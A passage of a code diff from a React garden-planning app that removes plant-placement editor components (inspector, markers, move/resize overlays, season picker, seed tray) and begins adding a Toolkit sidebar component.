className="rounded-md px-2 py-2 text-muted outline-none transition-colors hover:bg-border/50 hover:text-fg focus-visible:ring-2 focus-visible:ring-accent/40"
>
</button>
</div>
<div className="border-b border-border px-3 py-2">
<CategoryChips value={category} onChange={setCategory} size="sm" />
</div>
{choosingLotFor && (
<div className="min-h-0 flex-1 overflow-y-auto p-2">
<p className="px-3 pb-1 pt-2 text-xs font-semibold uppercase tracking-wide text-muted">
Which lot of {choosingLotFor.name}?
</p>
{attributableLots(lotsFor.get(choosingLotFor.id) ?? []).map((lot) => (
<button
key={lot.id}
type="button"
onClick={() => chooseLot(choosingLotFor, lot)}
className="flex w-full items-center gap-3 rounded-lg px-3 py-2.5 text-left outline-none transition-colors hover:bg-border/50 focus-visible:bg-border/50"
>
<span className="min-w-0 flex-1">
<span className="block truncate text-sm font-medium text-fg">
{lot.vendor || 'Unnamed lot'}
{lot.packedForYear != null ? ` · ${lot.packedForYear}` : ''}
</span>
<span className="block text-xs text-muted">
{formatQuantity(lot.remaining)} of {formatQuantity(lot.quantity)} {lot.unit} left
</span>
</span>
<LotStateChip state={lotState(lot)} />
</button>
))}
<button
type="button"
onClick={() => chooseLot(choosingLotFor, undefined)}
className="w-full rounded-lg px-3 py-2.5 text-left text-sm text-muted outline-none transition-colors hover:bg-border/50 focus-visible:bg-border/50"
>
Don't attribute to a lot
</button>
</div>
)}
<div className={cn('min-h-0 flex-1 overflow-y-auto p-2', choosingLotFor && 'hidden')}>
{plants.isPending && <p className="p-4 text-sm text-muted">Loading plants…</p>}
{plants.isError && <p className="p-4 text-sm text-red-600 dark:text-red-400">Couldn't load plants.</p>}
{recentPlants.length > 0 && (
<>
<p className="px-3 pb-1 pt-2 text-xs font-semibold uppercase tracking-wide text-muted">Recent</p>
{recentPlants.map((p) => row(p, 'recent'))}
<p className="px-3 pb-1 pt-3 text-xs font-semibold uppercase tracking-wide text-muted">All plants</p>
</>
)}
{filtered.map((p) => row(p, 'all'))}
{plants.isSuccess && filtered.length === 0 && (
<p className="p-4 text-sm text-muted">No plants match your search.</p>
)}
</div>
</div>
</div>
)
}
-202
View File
@@ -1,202 +0,0 @@
import { useEffect, useRef, useState } from 'react'
import { Button } from '@/components/ui/Button'
import { TextField } from '@/components/ui/TextField'
import { PlantIcon } from '@/components/plants/PlantIcon'
import { useRemovePlanting, useUpdatePlanting } from '@/lib/objects'
import type { Plant } from '@/lib/plants'
import { computeDerivedCount, type EditorPlanting } from '@/lib/plantings'
import { cmFromSpacing, spacingFromCm, spacingUnitLabel, type UnitPref } from '@/lib/units'
import { MIN_RADIUS_CM } from './shared'
import { useEditorStore } from './store'
/**
* Property panel for the selected plop. Radius/label/date/count commit a PATCH on
* blur (carrying the version); the count field shows the live derived value as a
* placeholder and takes an override when typed. "Remove" soft-removes (keeps the
* row with removed_at); "Change plant" opens the picker via onChangePlant. While
* the plop is dragged/resized on the canvas, it reads livePlanting for live
* feedback (subscribed here, not at the page level, so a drag only re-renders
* this panel).
*/
export function PlopInspector({
plop,
plant,
gardenId,
unit,
onChangePlant,
onClose,
onAddNote,
readOnly = false,
}: {
plop: EditorPlanting
plant?: Plant
gardenId: number
unit: UnitPref
onChangePlant: () => void
onClose: () => void
/** Scope the journal to this plop and open it — the plop parallel of the bed
* inspector's "add note" (#85). Offered to viewers too (to READ the plop's
* notes, like the bed inspector does); the journal's composer is separately
* gated on edit rights, so a viewer just sees the entries. */
onAddNote?: () => void
readOnly?: boolean
}) {
const update = useUpdatePlanting(gardenId)
const remove = useRemovePlanting(gardenId)
const livePlanting = useEditorStore((s) => s.livePlanting)
const rootRef = useRef<HTMLDivElement>(null)
// The plop with any in-flight drag/resize geometry applied.
const p = livePlanting && livePlanting.id === plop.id ? livePlanting : plop
const [radius, setRadius] = useState(String(spacingFromCm(p.radiusCm, unit)))
const [count, setCount] = useState(p.count != null ? String(p.count) : '')
const [label, setLabel] = useState(p.label ?? '')
const [planted, setPlanted] = useState(p.plantedAt ?? '')
// Re-sync when the plop changes underneath us (a drag/resize or a server row),
// unless the user is editing a field here.
useEffect(() => {
if (rootRef.current?.contains(document.activeElement)) return
setRadius(String(spacingFromCm(p.radiusCm, unit)))
setCount(p.count != null ? String(p.count) : '')
setLabel(p.label ?? '')
setPlanted(p.plantedAt ?? '')
}, [p.version, p.radiusCm, p.count, p.label, p.plantedAt, unit])
const patch = (fields: Omit<Parameters<typeof update.mutate>[0], 'id' | 'version'>) => {
if (readOnly) return // a blur mustn't fire a mutation if the role changed mid-edit
update.mutate({ id: plop.id, version: plop.version, ...fields })
}
const u = spacingUnitLabel(unit)
const derived = plant ? computeDerivedCount(p.radiusCm, plant.spacingCm) : p.derivedCount
function commitRadius() {
const v = Number(radius)
if (radius.trim() === '' || !Number.isFinite(v)) {
setRadius(String(spacingFromCm(p.radiusCm, unit))) // reset stale/invalid text
return
}
const cm = Math.max(MIN_RADIUS_CM, cmFromSpacing(v, unit))
if (cm !== p.radiusCm) patch({ radiusCm: cm })
}
function commitCount() {
if (count.trim() === '') {
if (p.count != null) patch({ count: null }) // restore derived
return
}
const n = Number(count)
if (!Number.isInteger(n) || n < 1) {
setCount(p.count != null ? String(p.count) : '') // reject invalid, restore
return
}
if (n !== p.count) patch({ count: n })
}
function commitPlanted() {
const next = planted === '' ? null : planted
if (next !== (p.plantedAt ?? null)) patch({ plantedAt: next })
}
return (
<div ref={rootRef} className="flex flex-col gap-3">
<div className="flex items-center justify-between">
<h2 className="text-sm font-semibold text-fg">Plant</h2>
<button
type="button"
onClick={onClose}
className="rounded px-1.5 text-sm text-muted hover:text-fg"
aria-label="Close inspector"
>
</button>
</div>
{readOnly && (
<p className="rounded-md bg-border/40 px-2 py-1 text-xs text-muted">View only you can't edit this garden.</p>
)}
<div className="flex items-center gap-2 rounded-lg border border-border p-2">
{plant ? (
<PlantIcon color={plant.color} icon={plant.icon} className="h-9 w-9 rounded-md text-xl" />
) : (
<span className="grid h-9 w-9 place-items-center rounded-md bg-border/50 text-muted">?</span>
)}
<span className="min-w-0 flex-1 truncate text-sm font-medium text-fg">{plant?.name ?? 'Unknown plant'}</span>
{!readOnly && (
<Button variant="ghost" className="px-2 py-1 text-xs" onClick={onChangePlant}>
Change
</Button>
)}
</div>
<fieldset disabled={readOnly} className="flex min-w-0 flex-col gap-3 border-0 p-0">
<div className="grid grid-cols-2 gap-2">
<TextField
label={`Radius (${u})`}
name="radius"
type="number"
inputMode="decimal"
step="any"
min="0"
value={radius}
onChange={(e) => setRadius(e.target.value)}
onBlur={commitRadius}
/>
<TextField
label="Count"
name="count"
type="number"
inputMode="numeric"
step="1"
min="1"
placeholder={`${derived} (auto)`}
value={count}
onChange={(e) => setCount(e.target.value)}
onBlur={commitCount}
hint={p.count != null ? 'Override clear for auto' : 'Auto from area ÷ spacing²'}
/>
</div>
<TextField
label="Label (optional)"
name="label"
value={label}
onChange={(e) => setLabel(e.target.value)}
onBlur={() => label !== (p.label ?? '') && patch({ label: label.trim() || null })}
/>
<TextField
label="Planted"
name="planted"
type="date"
value={planted}
onChange={(e) => setPlanted(e.target.value)}
onBlur={commitPlanted}
/>
</fieldset>
{onAddNote && (
<Button variant="ghost" className="justify-start px-2 py-1 text-sm" onClick={onAddNote}>
📓 {readOnly ? 'Notes about this plant' : 'Add a note about this plant'}
</Button>
)}
{!readOnly && (
<Button
variant="ghost"
className="text-red-600 dark:text-red-400"
disabled={remove.isPending}
onClick={() => {
onClose()
remove.mutate({ id: plop.id, version: plop.version })
}}
>
Remove plant
</Button>
)}
</div>
)
}
-93
View File
@@ -1,93 +0,0 @@
import { memo, useMemo } from 'react'
import type { Plant } from '@/lib/plants'
import type { EditorPlanting } from '@/lib/plantings'
import { PlopMarker, SEMANTIC_FAR } from './PlopMarker'
import { DIMMED_OPACITY, objectTransform } from './shared'
import type { EditorObject } from './types'
/** The most common plant color among an object's plops (for the far-zoom tint). */
function dominantColor(plops: EditorPlanting[], plantsById: Map<number, Plant>): string | null {
const freq = new Map<string, number>()
for (const p of plops) {
const c = plantsById.get(p.plantId)?.color
if (c) freq.set(c, (freq.get(c) ?? 0) + 1)
}
let best: string | null = null
let bestN = 0
for (const [c, n] of freq) {
if (n > bestN) {
best = c
bestN = n
}
}
return best
}
/**
* Renders every active plop, grouped under its parent object's translate+rotate
* transform so plops track the bed when it's moved/rotated. Far zoom adds a
* dominant-plant tint over each planted object so beds read at a glance. Focus
* mode dims plops on non-focused objects.
*/
export const PlopLayer = memo(function PlopLayer({
objects,
plantings,
plantsById,
scale,
focusedObjectId,
selectedPlantingId,
onSelectPlop,
}: {
objects: EditorObject[]
plantings: EditorPlanting[]
plantsById: Map<number, Plant>
scale: number
focusedObjectId: number | null
selectedPlantingId: number | null
onSelectPlop: (id: number) => void
}) {
// Group plops by object once per plops change (not on every pan/zoom frame).
const byObject = useMemo(() => {
const m = new Map<number, EditorPlanting[]>()
for (const p of plantings) {
const arr = m.get(p.objectId)
if (arr) arr.push(p)
else m.set(p.objectId, [p])
}
return m
}, [plantings])
const far = scale < SEMANTIC_FAR
return (
<>
{objects.map((o) => {
const plops = byObject.get(o.id)
if (!plops || plops.length === 0) return null
const dimmed = focusedObjectId != null && focusedObjectId !== o.id
const halfW = o.widthCm / 2
const halfH = o.heightCm / 2
const tint = far ? dominantColor(plops, plantsById) : null
return (
<g key={o.id} transform={objectTransform(o)} opacity={dimmed ? DIMMED_OPACITY : 1}>
{tint &&
(o.shape === 'circle' ? (
<ellipse cx={0} cy={0} rx={halfW} ry={halfH} fill={tint} fillOpacity={0.5} pointerEvents="none" />
) : (
<rect x={-halfW} y={-halfH} width={halfW * 2} height={halfH * 2} fill={tint} fillOpacity={0.5} pointerEvents="none" />
))}
{plops.map((p) => (
<PlopMarker
key={p.id}
plop={p}
plant={plantsById.get(p.plantId)}
scale={scale}
selected={p.id === selectedPlantingId}
onSelect={onSelectPlop}
/>
))}
</g>
)
})}
</>
)
})
-92
View File
@@ -1,92 +0,0 @@
import { memo, type PointerEvent } from 'react'
import type { Plant } from '@/lib/plants'
import { computeDerivedCount, type EditorPlanting } from '@/lib/plantings'
import { SELECT_COLOR } from './shared'
// Semantic-zoom thresholds in px/cm (DESIGN § Editor / rendering), tuned by feel:
// < FAR — flat color patch, no text ("what's planted where" at a glance)
// FAR..NEAR — colored circle + plant emoji
// ≥ NEAR — circle + emoji + plant name + count
export const SEMANTIC_FAR = 0.75
export const SEMANTIC_NEAR = 3
const DEFAULT_COLOR = '#6aa84f'
/**
* One plop, rendered in its parent object's local frame (the caller wraps it in
* the object's translate+rotate group, so the plop tracks the bed). A circle in
* the plant's color; emoji and name/count fade in with zoom. The count is
* computed live from the current radius so it updates while resizing. memo'd so a
* pan/zoom that only changes the world transform doesn't re-render every plop.
*/
export const PlopMarker = memo(function PlopMarker({
plop,
plant,
scale,
selected,
onSelect,
}: {
plop: EditorPlanting
plant?: Plant
scale: number
selected: boolean
onSelect: (id: number) => void
}) {
const color = plant?.color ?? DEFAULT_COLOR
const r = Math.max(0, plop.radiusCm)
const showIcon = scale >= SEMANTIC_FAR && !!plant?.icon
const showText = scale >= SEMANTIC_NEAR && !!plant
const count = plop.count ?? (plant ? computeDerivedCount(plop.radiusCm, plant.spacingCm) : plop.derivedCount)
// Keep the tap target at least ~44px across even when the plop draws tiny at
// low zoom (fill=transparent still receives pointer events, unlike fill=none).
const hitR = Math.max(r, 22 / scale)
function down(e: PointerEvent) {
e.stopPropagation()
onSelect(plop.id)
}
return (
<g transform={`translate(${plop.xCm} ${plop.yCm})`} onPointerDown={down} style={{ cursor: 'pointer' }}>
<circle cx={0} cy={0} r={hitR} fill="transparent" />
<circle
cx={0}
cy={0}
r={r}
fill={color}
fillOpacity={0.82}
stroke={selected ? SELECT_COLOR : '#00000033'}
strokeWidth={selected ? 2.5 : 1}
vectorEffect="non-scaling-stroke"
/>
{showIcon && (
<text
x={0}
y={0}
fontSize={r * 1.2}
textAnchor="middle"
dominantBaseline="central"
style={{ pointerEvents: 'none', userSelect: 'none' }}
>
{plant!.icon}
</text>
)}
{showText && (
<text
x={0}
y={r + r * 0.3}
fontSize={Math.max(r * 0.5, 6)}
textAnchor="middle"
dominantBaseline="hanging"
fill="#1f2937"
stroke="#ffffff"
strokeWidth={0.5}
paintOrder="stroke"
style={{ pointerEvents: 'none', userSelect: 'none' }}
>
{plant!.name} · {count}
</text>
)}
</g>
)
})
-168
View File
@@ -1,168 +0,0 @@
import { useEffect, useRef, type PointerEvent as ReactPointerEvent, type RefObject } from 'react'
import { screenToWorld, snapLocalToBedGrid, worldToLocal, type Point } from '@/lib/geometry'
import { useUpdatePlanting } from '@/lib/objects'
import type { EditorPlanting } from '@/lib/plantings'
import { HANDLE_PX, MIN_RADIUS_CM, SELECT_COLOR, objectTransform } from './shared'
import { useEditorStore } from './store'
import type { EditorObject } from './types'
const MAX_RADIUS_CM = 10_000
/**
* Move/resize handles for the selected plop, rendered inside its parent object's
* translate+rotate group so the plop stays in the object's local frame. Drag the
* body to move (clamped to the object's bounds); drag the edge handle to resize
* the radius. Each gesture updates livePlanting for instant feedback and fires
* one PATCH on release — the same contract as SelectionOverlay (#11).
*/
export function PlopOverlay({
plop,
object,
gardenId,
svgRef,
snap,
gridCm,
}: {
plop: EditorPlanting
object: EditorObject
gardenId: number
svgRef: RefObject<SVGSVGElement | null>
// The parent bed's grid: when snap is true, moving the plop snaps it to the
// bed grid (radius stays free either way).
snap: boolean
gridCm: number
}) {
const setLivePlanting = useEditorStore((s) => s.setLivePlanting)
const setObjectDragging = useEditorStore((s) => s.setObjectDragging)
const scale = useEditorStore((s) => s.viewport.scale)
const update = useUpdatePlanting(gardenId)
const cleanupRef = useRef<(() => void) | null>(null)
useEffect(
() => () => {
cleanupRef.current?.()
cleanupRef.current = null
},
[],
)
const handleCm = HANDLE_PX / scale
const halfW = object.widthCm / 2
const halfH = object.heightCm / 2
const center: Point = { x: object.xCm, y: object.yCm }
const rot = object.rotationDeg
// Pointer (client) → the object's local frame, snapshotting the svg rect once
// per gesture (the object doesn't move during a plop drag).
const makePointerLocal = () => {
const rect = svgRef.current?.getBoundingClientRect()
return (e: { clientX: number; clientY: number }): Point => {
const vp = useEditorStore.getState().viewport
const canvas = rect ? { x: e.clientX - rect.left, y: e.clientY - rect.top } : { x: e.clientX, y: e.clientY }
return worldToLocal(screenToWorld(canvas, vp), center, rot)
}
}
const begin = (
e: ReactPointerEvent,
onMove: (e: PointerEvent) => EditorPlanting,
fields: (final: EditorPlanting) => Parameters<typeof update.mutate>[0],
) => {
e.stopPropagation()
e.preventDefault()
setObjectDragging(true)
const move = (ev: PointerEvent) => setLivePlanting(onMove(ev))
const detach = () => {
window.removeEventListener('pointermove', move)
window.removeEventListener('pointerup', finish)
window.removeEventListener('pointercancel', finish)
}
const finish = () => {
detach()
cleanupRef.current = null
const final = useEditorStore.getState().livePlanting
setObjectDragging(false)
setLivePlanting(null)
if (final) update.mutate(fields(final))
}
cleanupRef.current = () => {
detach()
setObjectDragging(false)
setLivePlanting(null)
}
window.addEventListener('pointermove', move)
window.addEventListener('pointerup', finish)
window.addEventListener('pointercancel', finish)
}
const base = { ...plop }
const startMove = (e: ReactPointerEvent) => {
const ptr = makePointerLocal()
const start = ptr(e.nativeEvent)
begin(
e,
(ev) => {
const p = ptr(ev)
const moved: Point = { x: base.xCm + (p.x - start.x), y: base.yCm + (p.y - start.y) }
// snapLocalToBedGrid clamps either way; step 0 (snapping off) makes it a
// pure clamp, so both paths go through one helper.
const next = snapLocalToBedGrid(moved, snap ? gridCm : 0, halfW, halfH)
return { ...base, xCm: next.x, yCm: next.y }
},
(f) => ({ id: base.id, version: base.version, xCm: f.xCm, yCm: f.yCm }),
)
}
const startResize = (e: ReactPointerEvent) => {
const ptr = makePointerLocal()
begin(
e,
(ev) => {
const p = ptr(ev)
const r = Math.max(MIN_RADIUS_CM, Math.min(MAX_RADIUS_CM, Math.hypot(p.x - base.xCm, p.y - base.yCm)))
return { ...base, radiusCm: r }
},
(f) => ({ id: base.id, version: base.version, radiusCm: f.radiusCm }),
)
}
const r = plop.radiusCm
return (
<g transform={objectTransform(object)}>
{/* Transparent body: drag to move (at least handle-sized so tiny plops stay grabbable). */}
<circle
cx={plop.xCm}
cy={plop.yCm}
r={Math.max(r, handleCm)}
fill="transparent"
pointerEvents="all"
style={{ cursor: 'move' }}
onPointerDown={startMove}
/>
{/* Selection ring. */}
<circle
cx={plop.xCm}
cy={plop.yCm}
r={r}
fill="none"
stroke={SELECT_COLOR}
strokeWidth={1.5}
vectorEffect="non-scaling-stroke"
pointerEvents="none"
/>
{/* Radius handle at the local +x edge. */}
<circle
cx={plop.xCm + r}
cy={plop.yCm}
r={handleCm * 0.6}
fill="#ffffff"
stroke={SELECT_COLOR}
strokeWidth={1}
vectorEffect="non-scaling-stroke"
style={{ cursor: 'ew-resize' }}
onPointerDown={startResize}
/>
</g>
)
}
-29
View File
@@ -1,29 +0,0 @@
import { PlantChip } from '@/components/plants/PlantChip'
import type { Plant } from '@/lib/plants'
/**
* A quick strip of the plants you've most recently planted IN THIS GARDEN (#100),
* so re-placing "more of the same" is one tap instead of a trip through the
* catalog or the manual tray. Derived from actual plantings (see
* recentlyPlantedIds), newest first; renders nothing until something's planted.
* Tap a chip to arm it for placement (the armed one is highlighted).
*/
export function RecentPlants({
plants,
armedPlantId,
onArm,
}: {
plants: Plant[]
armedPlantId: number | null
onArm: (plant: Plant) => void
}) {
if (plants.length === 0) return null
return (
<div className="flex items-center gap-1.5 overflow-x-auto">
<span className="shrink-0 text-[0.7rem] font-medium uppercase tracking-wide text-muted">Recent</span>
{plants.map((p) => (
<PlantChip key={p.id} plant={p} active={p.id === armedPlantId} onArm={onArm} />
))}
</div>
)
}
-69
View File
@@ -1,69 +0,0 @@
import { cn } from '@/lib/cn'
/**
* Which season the canvas is showing.
*
* "Now" is the live, editable garden — what is in the ground today. A year is a
* read-only view of everything whose time in the ground overlapped that calendar
* year, plops since removed included. They are genuinely different questions:
* "what's growing" versus "what did I grow", and only the first one is editable.
*
* Only years the garden holds data for are offered. A free numeric field invites
* a typo, and a typo'd year produces a confidently empty garden that reads as
* data loss rather than a mistake.
*/
export function SeasonPicker({
years,
value,
onChange,
}: {
years: number[]
value: number | null
onChange: (year: number | null) => void
}) {
if (years.length === 0) return null
return (
<label className="flex items-center gap-1.5 text-xs text-muted">
<span>Season</span>
<select
value={value ?? ''}
onChange={(e) => onChange(e.target.value === '' ? null : Number(e.target.value))}
className={cn(
'rounded-md border border-border bg-surface px-1.5 py-1 text-xs text-fg outline-none',
'focus-visible:ring-2 focus-visible:ring-accent/40',
)}
>
<option value="">Now</option>
{years.map((y) => (
<option key={y} value={y}>
{y}
</option>
))}
</select>
</label>
)
}
/**
* The banner that stops you thinking you're looking at now. Editing the past by
* accident is the failure mode this whole feature introduces, so the state is
* stated rather than implied by a dropdown you set a while ago — with the way
* back to the live garden right next to it.
*/
export function SeasonBanner({ year, onExit }: { year: number; onExit: () => void }) {
return (
<div className="flex flex-wrap items-center gap-2 rounded-lg border border-amber-500/40 bg-amber-500/10 px-2 py-1.5 text-sm">
<span className="font-medium text-amber-800 dark:text-amber-300">Viewing {year}</span>
<span className="text-xs text-amber-800/80 dark:text-amber-300/80">
read-only, including plantings since removed
</span>
<button
type="button"
onClick={onExit}
className="ml-auto rounded px-1.5 py-0.5 text-xs font-medium text-amber-900 underline outline-none hover:no-underline focus-visible:ring-2 focus-visible:ring-accent/40 dark:text-amber-200"
>
Back to now
</button>
</div>
)
}
-57
View File
@@ -1,57 +0,0 @@
import { cn } from '@/lib/cn'
import { PlantChip } from '@/components/plants/PlantChip'
import type { Plant } from '@/lib/plants'
/**
* The Seed Tray strip in the focus-mode toolbar: a row of the garden's
* kept-at-hand plants. Tap a chip to arm that plant for tap-to-place (the armed
* chip is highlighted); ✕ removes it from the tray; the trailing "+ Plant" chip
* opens the full catalog picker. See useSeedTray for persistence.
*/
export function SeedTray({
trayPlants,
armedPlantId,
onArm,
onRemove,
onOpenPicker,
}: {
trayPlants: Plant[]
armedPlantId: number | null
onArm: (plant: Plant) => void
onRemove: (id: number) => void
onOpenPicker: () => void
}) {
return (
<div className="flex flex-wrap items-center gap-1.5">
{trayPlants.map((p) => {
const active = p.id === armedPlantId
return (
<span key={p.id} className="inline-flex items-center">
{/* Flat right edge so the remove button below seams into one pill. */}
<PlantChip plant={p} active={active} onArm={onArm} rounded={false} />
<button
type="button"
onClick={() => onRemove(p.id)}
aria-label={`Remove ${p.name} from tray`}
className={cn(
'rounded-r-full border border-l-0 px-1.5 py-1 text-xs outline-none transition-colors focus-visible:ring-2 focus-visible:ring-accent/40',
active
? 'border-accent bg-accent/10 text-accent-strong hover:text-fg'
: 'border-border bg-surface text-muted hover:text-fg',
)}
>
</button>
</span>
)
})}
<button
type="button"
onClick={onOpenPicker}
className="inline-flex items-center gap-1 rounded-full border border-dashed border-border px-2.5 py-1 text-xs font-medium text-muted outline-none transition-colors hover:border-accent hover:text-accent-strong focus-visible:ring-2 focus-visible:ring-accent/40"
>
+ Plant
</button>
</div>
)
}
-216
View File
@@ -1,216 +0,0 @@
import { useEffect, useRef, type PointerEvent as ReactPointerEvent, type RefObject } from 'react'
import { localToWorld, screenToWorld, snapPoint, snapValue, worldToLocal, type Point } from '@/lib/geometry'
import { useUpdateObject } from '@/lib/objects'
import { HANDLE_PX, SELECT_COLOR, objectTransform } from './shared'
import { useEditorStore } from './store'
import type { EditorObject } from './types'
const ROTATE_OFFSET_PX = 28 // distance of the rotate knob above the object
const MIN_OBJ_CM = 1 // smallest allowed dimension
const ROTATE_SNAP_DEG = 15
const corners: [number, number][] = [
[-1, -1],
[1, -1],
[1, 1],
[-1, 1],
]
/**
* Handles for the selected object: a transparent body to move, four corner
* handles to resize (opposite corner stays put, honoring rotation via the
* object-local frame), and a knob to rotate (snaps to 15°, free with Shift).
* Each gesture updates liveObject for instant feedback and fires exactly one
* PATCH on release.
*/
export function SelectionOverlay({
object,
gardenId,
svgRef,
snap,
gridCm,
}: {
object: EditorObject
gardenId: number
svgRef: RefObject<SVGSVGElement | null>
// The garden grid: when snap is true, a move snaps the object's center to it and
// a resize snaps width/height to whole grid steps (the opposite corner stays put).
snap: boolean
gridCm: number
}) {
const setLiveObject = useEditorStore((s) => s.setLiveObject)
const setObjectDragging = useEditorStore((s) => s.setObjectDragging)
const scale = useEditorStore((s) => s.viewport.scale)
const update = useUpdateObject(gardenId)
// Detach for an in-flight gesture. If the overlay unmounts mid-drag (the
// object is deleted or deselected), this runs on unmount so window listeners
// don't leak and objectDragging can't stay stuck true (which would freeze pan).
const cleanupRef = useRef<(() => void) | null>(null)
useEffect(
() => () => {
cleanupRef.current?.()
cleanupRef.current = null
},
[],
)
const halfW = object.widthCm / 2
const halfH = object.heightCm / 2
const handleCm = HANDLE_PX / scale
const rotateOffsetCm = ROTATE_OFFSET_PX / scale
// The svg's screen rect doesn't move during a drag, so snapshot it once at
// gesture start rather than calling getBoundingClientRect (a layout reflow) on
// every pointermove.
const makePointerWorld = () => {
const rect = svgRef.current?.getBoundingClientRect()
return (e: { clientX: number; clientY: number }): Point => {
const vp = useEditorStore.getState().viewport
const local = rect ? { x: e.clientX - rect.left, y: e.clientY - rect.top } : { x: e.clientX, y: e.clientY }
return screenToWorld(local, vp)
}
}
// Common gesture scaffolding: mark dragging, track the pointer on window, and
// on release fire one PATCH built from the final liveObject. onMove receives
// the live pointer event so modifier keys (Shift) reflect their current state.
const begin = (
e: ReactPointerEvent,
onMove: (e: PointerEvent) => EditorObject,
fields: (final: EditorObject) => Parameters<typeof update.mutate>[0],
) => {
e.stopPropagation()
e.preventDefault()
setObjectDragging(true)
const move = (ev: PointerEvent) => setLiveObject(onMove(ev))
const detach = () => {
window.removeEventListener('pointermove', move)
window.removeEventListener('pointerup', finish)
window.removeEventListener('pointercancel', finish)
}
const finish = () => {
detach()
cleanupRef.current = null
const final = useEditorStore.getState().liveObject
setObjectDragging(false)
setLiveObject(null)
if (final) update.mutate(fields(final))
}
// On unmount mid-gesture: detach and reset, but don't fire a PATCH.
cleanupRef.current = () => {
detach()
setObjectDragging(false)
setLiveObject(null)
}
window.addEventListener('pointermove', move)
window.addEventListener('pointerup', finish)
window.addEventListener('pointercancel', finish)
}
const base = { ...object }
const center0: Point = { x: base.xCm, y: base.yCm }
const startMove = (e: ReactPointerEvent) => {
const pointerWorld = makePointerWorld()
const start = pointerWorld(e.nativeEvent)
begin(
e,
(ev) => {
const world = pointerWorld(ev)
const next: Point = { x: base.xCm + (world.x - start.x), y: base.yCm + (world.y - start.y) }
const c = snap ? snapPoint(next, gridCm) : next
return { ...base, xCm: c.x, yCm: c.y }
},
(f) => ({ id: base.id, version: base.version, xCm: f.xCm, yCm: f.yCm }),
)
}
const startResize = (e: ReactPointerEvent, sx: number, sy: number) => {
// The corner opposite the dragged one stays fixed (in the object's local
// frame, which is anchored at the original center).
const oppositeLocal: Point = { x: -sx * halfW, y: -sy * halfH }
const pointerWorld = makePointerWorld()
begin(
e,
(ev) => {
const world = pointerWorld(ev)
const p = worldToLocal(world, center0, base.rotationDeg)
let newW = Math.max(MIN_OBJ_CM, Math.abs(p.x - oppositeLocal.x))
let newH = Math.max(MIN_OBJ_CM, Math.abs(p.y - oppositeLocal.y))
// Snap dimensions to whole grid steps (at least one cell). The opposite
// corner is the anchor, so it stays fixed while the dragged corner lands
// on a grid-multiple size.
if (snap) {
newW = Math.max(gridCm, snapValue(newW, gridCm))
newH = Math.max(gridCm, snapValue(newH, gridCm))
}
const draggedLocal: Point = { x: oppositeLocal.x + sx * newW, y: oppositeLocal.y + sy * newH }
const newCenterLocal: Point = {
x: (oppositeLocal.x + draggedLocal.x) / 2,
y: (oppositeLocal.y + draggedLocal.y) / 2,
}
const c = localToWorld(newCenterLocal, center0, base.rotationDeg)
return { ...base, xCm: c.x, yCm: c.y, widthCm: newW, heightCm: newH }
},
(f) => ({ id: base.id, version: base.version, xCm: f.xCm, yCm: f.yCm, widthCm: f.widthCm, heightCm: f.heightCm }),
)
}
const startRotate = (e: ReactPointerEvent) => {
const pointerWorld = makePointerWorld()
begin(
e,
(ev) => {
const world = pointerWorld(ev)
// +90° because the knob points up (local -y) at rotation 0.
let deg = (Math.atan2(world.y - center0.y, world.x - center0.x) * 180) / Math.PI + 90
// Read Shift live off the move event so toggling mid-drag switches
// between snapped and free rotation.
if (!ev.shiftKey) deg = Math.round(deg / ROTATE_SNAP_DEG) * ROTATE_SNAP_DEG
deg = ((deg % 360) + 360) % 360
return { ...base, rotationDeg: deg }
},
(f) => ({ id: base.id, version: base.version, rotationDeg: f.rotationDeg }),
)
}
return (
<g transform={objectTransform(object)}>
{/* Transparent body: drag to move. */}
{object.shape === 'circle' ? (
<ellipse cx={0} cy={0} rx={halfW} ry={halfH} fill="transparent" pointerEvents="all" style={{ cursor: 'move' }} onPointerDown={startMove} />
) : (
<rect x={-halfW} y={-halfH} width={object.widthCm} height={object.heightCm} fill="transparent" pointerEvents="all" style={{ cursor: 'move' }} onPointerDown={startMove} />
)}
{/* Selection outline. */}
{object.shape === 'circle' ? (
<ellipse cx={0} cy={0} rx={halfW} ry={halfH} fill="none" stroke={SELECT_COLOR} strokeWidth={1.5} vectorEffect="non-scaling-stroke" pointerEvents="none" />
) : (
<rect x={-halfW} y={-halfH} width={object.widthCm} height={object.heightCm} fill="none" stroke={SELECT_COLOR} strokeWidth={1.5} vectorEffect="non-scaling-stroke" pointerEvents="none" />
)}
{/* Rotate knob. */}
<line x1={0} y1={-halfH} x2={0} y2={-halfH - rotateOffsetCm} stroke={SELECT_COLOR} strokeWidth={1} vectorEffect="non-scaling-stroke" pointerEvents="none" />
<circle cx={0} cy={-halfH - rotateOffsetCm} r={handleCm * 0.7} fill={SELECT_COLOR} style={{ cursor: 'grab' }} onPointerDown={startRotate} />
{/* Resize corners. */}
{corners.map(([sx, sy]) => (
<rect
key={`${sx},${sy}`}
x={sx * halfW - handleCm / 2}
y={sy * halfH - handleCm / 2}
width={handleCm}
height={handleCm}
fill="#ffffff"
stroke={SELECT_COLOR}
strokeWidth={1}
vectorEffect="non-scaling-stroke"
style={{ cursor: 'nwse-resize' }}
onPointerDown={(e) => startResize(e, sx, sy)}
/>
))}
</g>
)
}
+215
View File
@@ -0,0 +1,215 @@
import { useState } from 'react'
import { ColorDot } from '@/components/plants/Monogram'
import { Button, IconButton } from '@/components/ui/Button'
import { cn } from '@/lib/cn'
import type { FillLayout } from '@/lib/objects'
import type { Plant } from '@/lib/plants'
import type { EditorPlanting } from '@/lib/plantings'
import { formatQuantity, type SeedLot } from '@/lib/seedLots'
import { formatSize, formatSpacing, type UnitPref } from '@/lib/units'
import { lotChoices, orderedPlants, toggleArmedKind, toggleArmedPlant } from './arming'
import { KindSwatch } from './KindSwatch'
import { OBJECT_KINDS } from './kinds'
import { useEditorStore } from './store'
import type { EditorObject } from './types'
/**
* The desktop editor's left card. Out of focus: the seven object kinds as pill
* rows — click to arm (then click the plan), or drag one straight onto it. In a
* focused bed it swaps to the plant list with a search, same arm/drag behavior,
* plus the bed's bulk tools (fill, clear, scan a packet).
*/
export function Toolkit({
unit,
plants,
plantings,
lotsByPlant,
canEdit,
focused,
focusedPlopCount,
canScan,
filling,
onBack,
onFill,
onClear,
onScan,
}: {
unit: UnitPref
plants: Plant[]
plantings: EditorPlanting[]
lotsByPlant: Map<number, SeedLot[]>
canEdit: boolean
focused: EditorObject | null
focusedPlopCount: number
canScan: boolean
filling: boolean
onBack: () => void
onFill: (layout: FillLayout) => void
onClear: () => void
onScan: () => void
}) {
const armedKind = useEditorStore((s) => s.armedKind)
